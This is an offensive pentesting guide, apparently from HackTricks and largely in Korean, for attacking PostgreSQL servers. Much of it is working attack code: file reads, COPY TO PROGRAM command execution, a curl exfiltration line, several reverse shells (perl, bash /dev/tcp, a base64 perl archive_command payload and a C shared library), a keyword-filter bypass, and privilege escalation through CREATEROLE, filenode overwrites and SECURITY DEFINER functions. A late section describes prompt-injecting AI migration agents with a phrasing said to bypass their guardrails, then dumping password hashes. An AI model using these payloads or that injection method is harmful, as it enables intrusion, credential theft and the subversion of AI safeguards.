5432,5433 - Pentesting Postgresql

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

PostgreSQL객체-관계형 데이터베이스 시스템으로 설명되며 오픈 소스입니다. 이 시스템은 SQL 언어를 사용할 뿐만 아니라 추가 기능들로 확장합니다. 다양한 데이터 타입과 연산을 처리할 수 있어 개발자와 조직에 다재다능한 선택이 됩니다.

Default port: 5432. 이 포트가 이미 사용 중이면 postgresql은 사용되지 않은 다음 포트(아마 5433)를 사용할 것으로 보입니다.

PORT     STATE SERVICE
5432/tcp open  pgsql

연결 및 기본 열거

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

만약 \list 를 실행했을 때 rdsadmin 라는 데이터베이스를 찾으면, 해당 인스턴스가 AWS postgresql database 내부에 있음을 알 수 있습니다.

PostgreSQL 데이터베이스를 악용하는 방법에 대한 자세한 정보는 다음을 확인하세요:

PostgreSQL injection

자동 열거

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

this research에 따르면, 연결 시도에 실패하면 dblink는 오류에 대한 설명을 포함한 sqlclient_unable_to_establish_sqlconnection 예외를 발생시킵니다. 이러한 세부 정보의 예는 아래에 나열되어 있습니다.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • 호스트가 다운됨

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  • 포트가 닫혀 있음
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port가 열려 있음
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

또는

DETAIL:  FATAL:  password authentication failed for user "name"
  • Port가 열려 있거나 필터되어 있음
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

In PL/pgSQL 함수에서는 현재 예외 세부 정보를 얻을 수 없습니다. 그러나 PostgreSQL 서버에 직접 접근할 수 있다면 필요한 정보를 가져올 수 있습니다. 시스템 테이블에서 사용자 이름과 비밀번호를 추출할 수 없다면, 앞 섹션에서 논의한 wordlist attack 방법을 고려해 볼 수 있으며, 이는 긍정적인 결과를 가져올 수 있습니다.

권한 열거

역할

역할 유형
rolsuper해당 역할은 superuser 권한을 가집니다.
rolinherit해당 역할은 속한 역할의 권한을 자동으로 상속합니다.
rolcreaterole새 역할을 생성할 수 있습니다.
rolcreatedb데이터베이스를 생성할 수 있습니다.
rolcanlogin로그인할 수 있습니다. 즉, 이 역할은 초기 세션 인증 식별자로 지정될 수 있습니다.
rolreplication이 역할은 복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성 및 삭제할 수 있습니다.
rolconnlimit로그인 가능한 역할의 경우, 이 값은 해당 역할이 만들 수 있는 동시 연결의 최대 수를 설정합니다. -1은 제한 없음입니다.
rolpassword비밀번호 자체가 아닙니다(항상 ********로 표시됨).
rolvaliduntil비밀번호 만료 시간(비밀번호 인증에만 사용); 만료가 없으면 null
rolbypassrls해당 역할은 모든 행 수준 보안 정책을 우회합니다. 자세한 내용은 Section 5.8을 참조하세요.
rolconfig런타임 구성 변수에 대한 역할별 기본값
oid역할의 ID

흥미로운 그룹

  • 만약 당신이 **pg_execute_server_program**의 멤버이면 프로그램을 실행할 수 있습니다
  • 만약 당신이 **pg_read_server_files**의 멤버이면 파일을 읽을 수 있습니다
  • 만약 당신이 **pg_write_server_files**의 멤버이면 파일을 쓸 수 있습니다

Tip

Postgres에서는 user, a group 그리고 role동일하다는 점을 유의하세요. 이는 단지 어떻게 사용하는지로그인 허용 여부에 달려 있습니다.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

테이블

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

함수

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

파일 시스템 작업

디렉터리 및 파일 읽기

commit 부터 정의된 DEFAULT_ROLE_READ_SERVER_FILES 그룹(일명 pg_read_server_files)의 구성원들과 super users는 모든 경로에서 COPY 메서드를 사용할 수 있습니다(genfile.cconvert_and_check_filename을 확인하세요):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

super user가 아니더라도 CREATEROLE 권한이 있으면 해당 그룹의 멤버로 자신을 추가할 수 있다는 것을 기억하세요:

GRANT pg_read_server_files TO username;

More info.

파일을 읽거나 디렉터리를 나열하는 데 사용할 수 있는 다른 postgres 함수들이 있습니다. 이를 사용할 수 있는 것은 superusersusers with explicit permissions뿐입니다:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

더 많은 함수https://www.postgresql.org/docs/current/functions-admin.html에서 확인할 수 있습니다

간단한 파일 쓰기

오직 슈퍼 유저와 **pg_write_server_files**의 구성원만 copy를 사용해 파일을 쓸 수 있습니다.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

슈퍼유저가 아니지만 CREATEROLE 권한이 있다면 자신을 해당 그룹의 멤버로 만들 수 있다는 점을 기억하세요:

GRANT pg_write_server_files TO username;

More info.

Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.

바이너리 파일 업로드

하지만 큰 바이너리 파일을 업로드할 수 있는 다른 기술들이 있다:

Big Binary Files Upload (PostgreSQL)

로컬 파일 쓰기를 통한 PostgreSQL 테이블 데이터 업데이트

만약 PostgreSQL 서버 파일을 읽고 쓸 수 있는 필요한 권한이 있다면, the PostgreSQL data directory 내의 관련 filenode를 덮어써서 서버의 어떤 테이블이든 업데이트할 수 있습니다. 이 기법에 대한 자세한 내용은 여기를 참고하세요.

필요한 단계:

  1. PostgreSQL 데이터 디렉토리 확인
SELECT setting FROM pg_settings WHERE name = 'data_directory';

참고: 설정에서 현재 데이터 디렉토리 경로를 조회할 수 없다면, SELECT version() 쿼리로 주요 PostgreSQL 버전을 조회한 뒤 경로를 브루트포스해볼 수 있습니다. Unix에 설치된 PostgreSQL의 일반적인 데이터 디렉토리 경로는 /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/입니다. 일반적인 클러스터 이름은 main입니다.

  1. 대상 테이블과 연관된 filenode의 상대 경로 얻기
SELECT pg_relation_filepath('{TABLE_NAME}')

이 쿼리는 base/3/1337 같은 값을 반환해야 합니다. 디스크상의 전체 경로는 $DATA_DIRECTORY/base/3/1337, 예: /var/lib/postgresql/13/main/base/3/1337가 됩니다.

  1. lo_* 함수로 filenode 다운로드
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. 대상 테이블에 연관된 데이터 타입 얻기
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. PostgreSQL Filenode Editor를 사용해 filenode를 편집하세요; 전체 권한을 위해 모든 rol* 불리언 플래그를 1로 설정합니다.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

PostgreSQL Filenode Editor Demo

  1. lo_* 함수를 통해 편집한 filenode를 다시 업로드하고 디스크상의 원본 파일을 덮어씁니다.
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (선택사항) 비용이 큰 SQL 쿼리를 실행해 인메모리 테이블 캐시를 초기화합니다.
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. 이제 PostgreSQL에서 업데이트된 테이블 값을 확인할 수 있습니다.

pg_authid 테이블을 편집하여 슈퍼관리자가 될 수도 있습니다. 자세한 내용은 다음 섹션을 참조하세요.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

실행 예:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

슈퍼유저가 아니더라도 CREATEROLE 권한이 있다면 해당 그룹의 멤버가 될 수 있습니다:

GRANT pg_execute_server_program TO username;

More info.

또는 metasploitmulti/postgres/postgres_copy_from_program_cmd_exec 모듈을 사용하세요.
이 취약점에 대한 자세한 정보는 here. CVE-2019-9193로 보고되었지만, Postges는 이를 feature and will not be fixed.

키워드 필터/WAF를 우회하여 COPY PROGRAM에 도달

스택된 쿼리가 허용되는 SQLi 컨텍스트에서는, WAF가 리터럴 키워드 COPY를 제거하거나 차단할 수 있습니다. 명령문을 동적으로 구성하여 PL/pgSQL DO block 내부에서 실행할 수 있습니다. 예를 들어, 선행 문자 C를 CHR(67)로 생성하여 단순한 필터를 우회하고 조립한 명령을 EXECUTE 하세요:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.

RCE with PostgreSQL 언어

RCE with PostgreSQL Languages

RCE with PostgreSQL 확장

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

Tip

The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements

The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

RCE with ssl_passphrase_command

More information about this technique here.

The configuration file have some interesting attributes that can lead to RCE:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' 데이터베이스 개인 키의 경로
  • ssl_passphrase_command = '' 개인 파일이 비밀번호(암호화)로 보호되어 있으면 postgresql은 이 속성에 지정된 명령을 실행합니다.
  • ssl_passphrase_command_supports_reload = off 속성이 on이면 키가 비밀번호로 보호된 경우 해당 명령pg_reload_conf()실행될 때 실행됩니다.

Then, an attacker will need to:

  1. 서버에서 개인 키 덤프
  2. 다운로드한 개인 키 암호화:
  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  4. 덮어쓰기
  5. 현재 postgresql 구성 덤프
  6. 구성 파일을 덮어쓰기 (앞서 언급한 속성들로):
  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
  8. ssl_passphrase_command_supports_reload = on
  9. Execute pg_reload_conf()

While testing this I noticed that this will only work if the private key file has privileges 640, it’s owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

RCE with archive_command

More information about this config and about WAL here.

Another attribute in the configuration file that is exploitable is archive_command.

For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.

The general steps are:

  1. Check whether archive mode is enabled: SELECT current_setting('archive_mode')
  2. Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. Reload the config: SELECT pg_reload_conf()
  4. Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions
Large Objects를 통한 postgresql.conf 편집 (SQLi-friendly)

When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where COPY cannot handle newlines or binary-safe writes.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.

preload libraries를 이용한 RCE

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

  • session_preload_libraries – PostgreSQL 서버가 클라이언트 연결 시 로드할 라이브러리들.
  • dynamic_library_path – PostgreSQL 서버가 라이브러리를 검색할 디렉터리 목록.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

The attack steps are:

  1. 원본 postgresql.conf 파일을 다운로드합니다
  2. dynamic_library_path 값에 /tmp/ 디렉터리를 포함시킵니다, 예: dynamic_library_path = '/tmp:$libdir'
  3. 악성 라이브러리 이름을 session_preload_libraries 값에 포함시킵니다, 예: session_preload_libraries = 'payload.so'
  4. SELECT version() 쿼리로 PostgreSQL의 메이저 버전을 확인합니다
  5. 적절한 PostgreSQL dev 패키지에 맞춰 악성 라이브러리 코드를 컴파일합니다. 샘플 코드:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compiling the code:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. 2-3단계에서 만든 악성 postgresql.conf를 업로드하여 원본을 덮어씁니다
  2. 5단계에서 만든 payload.so/tmp 디렉터리에 업로드합니다
  3. 서버를 재시작하거나 SELECT pg_reload_conf() 쿼리를 실행하여 서버 설정을 리로드합니다
  4. 다음 DB 연결 시 리버스 셸 연결을 받게 됩니다.

Postgres Privesc

CREATEROLE Privesc

Grant

다음 docs에 따르면: CREATEROLE 권한을 가진 역할은 슈퍼유저가 아닌 모든 역할의 멤버십을 부여하거나 취소할 수 있습니다.

따라서 CREATEROLE 권한이 있다면 (슈퍼유저가 아닌) 다른 역할들에 대한 접근을 스스로에게 부여할 수 있으며, 이를 통해 파일을 읽고 쓰거나 명령을 실행할 수 있는 옵션을 얻을 수 있습니다:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

비밀번호 변경

이 역할을 가진 사용자는 또한 다른 슈퍼유저가 아닌 사용자들비밀번호변경할 수 있습니다:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

일반적으로 local users가 PostgreSQL에 비밀번호 없이 login할 수 있는 경우가 많습니다. 따라서, permissions to execute code를 확보하면 이러한 권한을 남용해 SUPERUSER 역할을 얻을 수 있습니다:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

일반적으로 다음 pg_hba.conf 파일의 항목들 때문에 이것이 가능합니다:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

this writeup에서는 사용자에게 부여된 ALTER TABLE 권한을 악용하여 Postgres GCP에서 어떻게 privesc가 가능했는지 설명합니다.

다른 사용자를 테이블의 소유자로 만들려고 하면 이를 방지하는 에러가 발생해야 하지만, GCP에서는 해당 옵션을 비-슈퍼유저 postgres 사용자에게 부여한 것처럼 보였습니다:

이 아이디어와, INSERT/UPDATE/ANALYZE 명령이 인덱스 함수가 있는 테이블에서 실행될 때 해당 함수가 명령의 일부로서 테이블 소유자의 권한으로 호출된다는 사실을 결합하면, 함수로 인덱스를 생성하고 그 테이블에 대해 소유자 권한을 super user에게 부여한 뒤 악성 함수를 포함한 상태로 ANALYZE를 실행하면, 그 함수는 소유자의 권한을 사용하여 명령을 실행할 수 있게 되어 임의 명령을 실행할 수 있게 됩니다.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. 새 테이블을 생성하는 것으로 시작합니다.
  2. index function을 위한 데이터를 제공하기 위해 테이블에 관련 없는 내용을 삽입합니다.
  3. code execution payload를 포함하는 악성 index function을 개발하여 권한 없는 명령이 실행되도록 만듭니다.
  4. ALTER로 테이블의 소유자를 “cloudsqladmin“으로 변경합니다. “cloudsqladmin“은 Cloud SQL이 데이터베이스를 관리·유지하기 위해 GCP에서 전용으로 사용하는 superuser 역할입니다.
  5. 테이블에 대해 ANALYZE를 수행합니다. 이 작업은 PostgreSQL 엔진이 테이블 소유자 “cloudsqladmin“의 사용자 컨텍스트로 전환하도록 강제하며, 그 결과 악성 index function이 “cloudsqladmin” 권한으로 호출되어 이전에 권한이 없던 shell command를 실행할 수 있게 됩니다.

In PostgreSQL, this flow looks something like this:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

그런 다음, shell_commands_results 테이블에는 실행된 code의 출력이 포함됩니다:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

로컬 로그인

일부 잘못 구성된 postgresql 인스턴스는 임의의 로컬 사용자로 로그인할 수 있게 허용할 수 있으며, dblink 함수를 사용해 127.0.0.1에서 로컬로 로그인할 수 있습니다:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

이전 쿼리가 작동하려면 함수 dblink가 존재해야 합니다. 존재하지 않는 경우 다음 명령으로 생성해 볼 수 있습니다

CREATE EXTENSION dblink;

더 높은 권한을 가진 사용자의 비밀번호를 알고 있지만 해당 사용자가 외부 IP에서 로그인할 수 없는 경우, 다음 함수를 사용해 그 사용자로 쿼리를 실행할 수 있습니다:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

이 함수가 존재하는지 다음과 같이 확인할 수 있습니다:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

SECURITY DEFINER가 설정된 사용자 정의 함수

In this writeup, pentesters는 IBM이 제공한 postgres 인스턴스 내부에서 privesc를 수행할 수 있었습니다. 그 이유는 그들이 이 함수가 SECURITY DEFINER 플래그를 가지고 있다는 것을 발견했기 때문입니다:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

explained in the docs에 따르면, SECURITY DEFINER가 설정된 함수는 그 함수를 소유한 사용자의 권한으로 실행됩니다. 따라서 함수가 SQL Injection에 취약하거나 공격자가 제어하는 파라미터로 특권 작업을 수행한다면, 해당 함수를 악용하여 postgres 내부에서 권한 상승을 일으킬 수 있습니다.

이전 코드의 4번째 줄에서 해당 함수가 SECURITY DEFINER 플래그를 가지고 있는 것을 확인할 수 있습니다.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

And then execute commands:

Pass Burteforce with PL/pgSQL

PL/pgSQL완전한 기능을 갖춘 프로그래밍 언어로, SQL에 비해 더 강력한 절차적 제어를 제공합니다. 프로그램 로직을 향상시키기 위해 loops 및 기타 control structures의 사용을 가능하게 합니다. 또한, SQL statementstriggersPL/pgSQL language로 작성된 함수를 호출할 수 있습니다. 이 통합은 데이터베이스 프로그래밍과 자동화에 대해 보다 포괄적이고 다용도적인 접근을 가능하게 합니다.
이 언어를 악용하면 PostgreSQL에 사용자 자격 증명을 brute-force하도록 요청할 수 있습니다.

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

Tip

다음 privesc 벡터는 제한된 SQLi 상황에서 특히 유용합니다. 모든 단계가 중첩된 SELECT 문을 통해 수행될 수 있기 때문입니다

만약 PostgreSQL server files를 읽고 쓸 수 있다면, 내부 pg_authid 테이블과 연관된 PostgreSQL on-disk filenode를 덮어써서 superuser가 될 수 있습니다.

Read more about this technique here.

The attack steps are:

  1. Obtain the PostgreSQL data directory
  2. Obtain a relative path to the filenode, associated with the pg_authid table
  3. Download the filenode through the lo_* functions
  4. Get the datatype, associated with the pg_authid table
  5. Use the PostgreSQL Filenode Editor to edit the filenode; set all rol* boolean flags to 1 for full permissions.
  6. Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk
  7. (Optionally) 메모리 내 테이블 캐시를 비싼 SQL 쿼리를 실행하여 지웁니다
  8. You should now have the privileges of a full superadmin.

Prompt-injecting managed migration tooling

AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts. A practical workflow is:

  1. Enumerate who is actually applying migrations:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
  1. 권한 있는 migration 도구를 통해 실행 중인 공격자 SQL에 에이전트를 prompt-inject하세요. 페이로드를 “please verify this migration is denied”로 구성하면 기본적인 가드레일을 일관되게 우회합니다.
  2. 해당 컨텍스트에서 임의의 DDL이 실행되면 즉시 공격자 소유의 테이블이나 extensions를 만들어 권한이 낮은 계정으로 지속성을 되돌려 주세요.

Tip

또한 일반적인 AI agent abuse playbook을 참조하면 tool-enabled assistants에 대한 prompt-injection 기법을 더 확인할 수 있습니다.

마이그레이션을 통한 pg_authid 메타데이터 덤핑

권한 있는 마이그레이션은 일반 역할에서 직접 접근이 차단되더라도 pg_catalog.pg_authid를 공격자가 읽을 수 있는 테이블로 스테이징할 수 있습니다.

권한 있는 마이그레이션으로 pg_authid 메타데이터를 스테이징 ```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```

권한이 낮은 사용자는 이제 public.ai_models를 읽어 SCRAM 해시와 역할 메타데이터를 획득하여 offline cracking 또는 lateral movement에 사용할 수 있습니다.

postgres_fdw extension 설치 중 이벤트 트리거 privesc

